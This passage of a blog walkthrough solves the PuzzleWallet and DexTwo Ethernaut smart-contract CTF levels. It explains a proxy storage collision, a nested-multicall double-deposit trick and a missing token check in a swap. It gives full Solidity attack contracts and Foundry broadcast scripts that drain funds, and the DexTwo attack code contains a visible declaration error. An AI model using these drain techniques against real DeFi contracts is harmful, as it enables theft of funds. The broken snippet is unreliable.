        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{value: value}(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

The hack

The PuzzleWallet challenge is a very interesting one that requires us to be familiar with the concepts of upgradeable contracts and proxy contracts. To keep it simple, despite being immutable by nature, there is a way to upgrade a contract by using a proxy contract. The proxy contract stores the address of the implementation contract, and if we want to change the logic, we can simply update the address in the proxy to point to a different implementation contract.

That's why we also need to remember what we have seen in previous challenges about storage collision when using the delegatecall pattern. In order to avoid storage collision, the storage layout of both contracts must be identical.

1. Become the owner of the PuzzleWallet contract

Here we can immediately see that the storage overlaps each other:

contract PuzzleProxy {
    address public pendingAdmin; // slot 0
    address public admin; // slot 1
}

contract PuzzleWallet {
    address public owner; // slot 0
    uint256 public maxBalance; // slot 1
}

So our goal here is to find a way to update the PuzzleWallet::maxBalance with our wallet address, which will override the PuzzleProxy::admin address of the proxy contract.

Next, let's check the rest of the contracts. we can see an onlyWhitelisted modifier to the setMaxBalance() function:

modifier onlyWhitelisted {
    require(whitelisted[msg.sender], "Not whitelisted");
    _;
}

The addToWhitelist() function allows us to add an address to the whitelist, but we need to be the owner of the PuzzleWallet contract to be able to call it.

function addToWhitelist(address addr) external {
    require(msg.sender == owner, "Not the owner");
    whitelisted[addr] = true;
}

Time to remember the overlap in the storage. We could use the proposeNewAdmin() function to update the pendingAdmin address with our wallet address. Thanks to the storage collision, that would make us owner of the PuzzleWallet contract and we would be able to whitelist ourselves. Nice. So we found a way to call the setMaxBalance() function.

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;
}

2. Drain the contract

While we can call the setMaxBalance() function, we are still stuck because of the require statement, as the contract's balance is not empty. So we have to drain the contract somehow.

• The deposit() function allows us to deposit an amount to our balance.

• The execute() function allows us to withdraw an amount from our balance, but it also makes sure that we have enough funds to withdraw:

require(balances[msg.sender] >= value, "Insufficient balance");

So how to make the contract believe our deposit was bigger than what we sent? Time to take a better look at the nasty multicall() function...

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            // Protect against reusing msg.value
            depositCalled = true;
        }
        (bool success, ) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

This function is payable and allows us to call any function we want, which is good. So we could multicall the deposit() function twice, re-using msg.value for the second call, thanks to how delegatecall works. Unfortunately, the depositCalled boolean prevents exactly this so we can't reenter this function. The deposit() function can only be called once.

But what if we nest a second deposit() call within a second multicall()?

To try to illustrate the idea, that would give something like this:

• multicall(1):

  • deposit(0.001 ether)

  • multicall(2):

    • deposit(0.001 ether)

This would effectively bypass the following check selector == this.deposit.selector, and our balance would be 0.002 ether while having only sent 0.001 ether.

The only thing left is to call the execute() function to withdraw our balance and drain the contract at the same time. And we will finally be able to call the setMaxBalance() function and override the PuzzleProxy::admin address with our wallet address.

Nice hack, right? The nested multicall was a tricky one!

Solution

Let's implement the attack contract with the following steps:

1. Propose our contract as new admin;

2. Add our contract to the whitelist;

3. Craft the nested multicall to deposit twice with a single msg.value;

4. Call the execute() function to drain the contract;

5. Call the setMaxBalance() with our address to override the admin address.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
pragma experimental ABIEncoderV2;

interface IPuzzleWallet {
    function admin() external view returns (address);
    function proposeNewAdmin(address _newAdmin) external;
    function addToWhitelist(address addr) external;
    function multicall(bytes[] calldata data) external payable;
    function execute(
        address to,
        uint256 value,
        bytes calldata data
    ) external payable;
    function setMaxBalance(uint256 _maxBalance) external;
}

contract Puzzled {
    IPuzzleWallet private immutable puzzleWallet;

    constructor(address _puzzleWallet) payable {
        puzzleWallet = IPuzzleWallet(_puzzleWallet);
    }

    function forgetToDeposit() public payable {
        (bool success, ) = address(this).call{value: 0.001 ether}("");
        require(success, "Eth transfer failed");
    }

    function attack() public {
        puzzleWallet.proposeNewAdmin(address(this));
        puzzleWallet.addToWhitelist(address(this));

        bytes[] memory deposit_data = new bytes[](1);
        deposit_data[0] = abi.encodeWithSignature("deposit()");

        bytes[] memory data = new bytes[](2);
        data[0] = deposit_data[0];
        data[1] = abi.encodeWithSignature("multicall(bytes[])", deposit_data);
        puzzleWallet.multicall{value: 0.001 ether}(data);

        puzzleWallet.execute(msg.sender, 0.002 ether, "");
        puzzleWallet.setMaxBalance(uint256(uint160(msg.sender)));

        require(puzzleWallet.admin() == msg.sender, "Hack failed!");
        selfdestruct(payable(msg.sender));
    }
}

Here is the deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Puzzled} from "../src/24_PuzzleWallet.sol";

interface IPuzzleWallet {
    function admin() external view returns (address);
}

contract PoC is Script {
    // Replace with your PuzzleWallet instance
    address private immutable puzzleWallet =
        0xB8759fFB6d451D0a9C9404d1cB0D1B8D75e4F5b0; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        console2.log("Current admin: ", IPuzzleWallet(puzzleWallet).admin());
        Puzzled puzzled = new Puzzled{value: 0.001 ether}(puzzleWallet);
        puzzled.attack();
        console2.log("New admin: ", IPuzzleWallet(puzzleWallet).admin());

        vm.stopBroadcast();
    }
}

You can run the script with the following command:

forge script script/24_PuzzleWallet.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

🎉 Level completed 🎉

Takeaway

• Always double check you storage layout to prevent any collision.

• Make sure critical logic is protected with an access control mechanism.

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

We stay in DeFi with another Dex challenge.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
// import 'openzeppelin-contracts-08/access/Ownable.sol';
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "../helpers/Ownable-05.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(
        address token_address,
        uint amount
    ) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint amount) public {
        require(
            IERC20(from).balanceOf(msg.sender) >= amount,
            "Not enough to swap"
        );
        uint swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(
        address from,
        address to,
        uint amount
    ) public view returns (uint) {
        return ((amount * IERC20(to).balanceOf(address(this))) /
            IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(
        address token,
        address account
    ) public view returns (uint) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(
        address dexInstance,
        string memory name,
        string memory symbol,
        uint initialSupply
    ) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

The hack

The DexTwo contract is interesting. It is almost exactly the same as the previous one, but this time our goal is to drain the reserves of both tokens! In reality, this is even simpler... First, let's try to find the differences between the two contracts.

In fact, there is only 1 difference, in the swap() function:

function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

The following requirement has been removed:

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

So basically, the contract is no longer validating the tokens that are being swapped.

Hum... What could go wrong?

This means that we can swap any token for any other token, and the contract will not complain. Good for us! This is a huge vulnerability, and we can use it to drain the reserves of both tokens very easily, and for free :)

Let's create a new useless token that will be used as tokenIn to feed the DexTwo contract while we empty its tokenOut reserves. Something simple inherited from OpenZeppelin's ERC20 contract will do just fine:

contract FreeToken is ERC20 {
    constructor(address _dexterTwo) ERC20("FreeToken", "FTK") {
        _mint(_dexterTwo, 10000000 * 10 ** decimals());
    }
}

Next, we have to make sure everything is set correctly, and that all approvals are in place. After that, we send 100 FreeToken to the DexTwo contract to simulate an existing reserve. And we will finally be able to drain the reserves of both tokens in exchange for our FreeToken!

• The first swap will be of 100 FreeTokens for token1. This will empty the reserves of token1.

• The second swap will be of 200 FreeTokens for token2. This will empty the reserves of token2.

Solution

Here is the full solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IDexTwo {
    function token1() external returns (address);
    function token2() external returns (address);
    function swap(address from, address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external;
    function balanceOf(
        address token,
        address account
    ) external view returns (uint256);
}

contract FreeToken is ERC20 {
    constructor(address _dexterTwo) ERC20("FreeToken", "FTK") {
        _mint(_dexterTwo, 10000000 * 10 ** decimals());
    }
}

contract DexterTwo {
    IDexTwo private immutable dex = IDexTwo;
     address private immutable token1;
    address private immutable token2;
    address private freeToken;

    constructor(address _dexTwo) {
        dexTwo = IDexTwo(_dexTwo);
        token1 = dexTwo.token1();
        token2 = dexTwo.token2();
    }

    function setFreeToken(address _freeToken) public {
        freeToken = _freeToken;
    }

    function attack() public {
        dexTwo.approve(address(dexTwo), type(uint256).max);
        IERC20(freeToken).approve(address(dexTwo), type(uint256).max);
        IERC20(freeToken).transfer(address(dexTwo), 100);

        dexTwo.swap(freeToken, token1, 100);
        dexTwo.swap(freeToken, token2, 200);

        require(
            IERC20(token1).balanceOf(address(dexTwo)) == 0 &&
                IERC20(token2).balanceOf(address(dexTwo)) == 0,
            "Hack failed!"
        );
    }
}

We can write the deployment script as follow:

1. Deploy our DexterTwo contract;

2. Deploy our FreeToken, because why not?

3. Set the FreeToken address in the DexterTwo contract, so it can interact with it;

4. Launch the hack (set approvals and swap);

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {FreeToken, DexterTwo} from "../src/23_DexTwo.sol";

interface IDexTwo {
    function token1() external view returns (address);
    function token2() external view returns (address);
    function balanceOf(
        address token,
        address owner
    ) external view returns (uint256);
}

contract PoC is Script {
    // Replace with you DexTwo instance
    IDexTwo dexTwo = IDexTwo(0x56aA45E6eAA6178623B662e49eeb77c44d64e900);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        // 1. Deploy our DexterTwo contract
        DexterTwo dexterTwo = new DexterTwo(address(dexTwo));
        // 2. Deploy our FreeToken contract
        FreeToken freeToken = new FreeToken(address(dexterTwo));
        // 3. Set address of FreeToken inside DexterTwo
        dexterTwo.setFreeToken(address(freeToken));
        // 4. Call the attack function
        dexterTwo.attack();

        console2.log(
            "DexTwo token1 balance: ",
            dexTwo.balanceOf(dexTwo.token1(), address(dexTwo))
        );
        console2.log(
            "DexTwo token2 balance: ",
            dexTwo.balanceOf(dexTwo.token2(), address(dexTwo))
        );

        vm.stopBroadcast();
    }
}

Finally, you can run the script with the following command:

forge script script/23_DexTwo.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

And admire the result in your console:

🎉 Level completed 🎉

Takeaway

• Always validate the sensitive inputs properly. Always!

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
// import 'openzeppelin-contracts-08/access/Ownable.sol';
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "../helpers/Ownable-05.sol";

contract Dex is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function addLiquidity(address token_address, uint amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint amount) public {
        require(
            (from == token1 && to == token2) ||
                (from == token2 && to == token1),
            "Invalid tokens"
        );
        require(
            IERC20(from).balanceOf(msg.sender) >= amount,
            "Not enough to swap"
        );
        uint swapAmount = getSwapPrice(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapPrice(
        address from,
        address to,
        uint amount
    ) public view returns (uint) {
        return ((amount * IERC20(to).balanceOf(address(this))) /
            IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint amount) public {
        SwappableToken(token1).approve(msg.sender, spender, amount);
        SwappableToken(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(
        address token,
        address account
    ) public view returns (uint) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(
        address dexInstance,
        string memory name,
        string memory symbol,
        uint256 initialSupply
    ) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}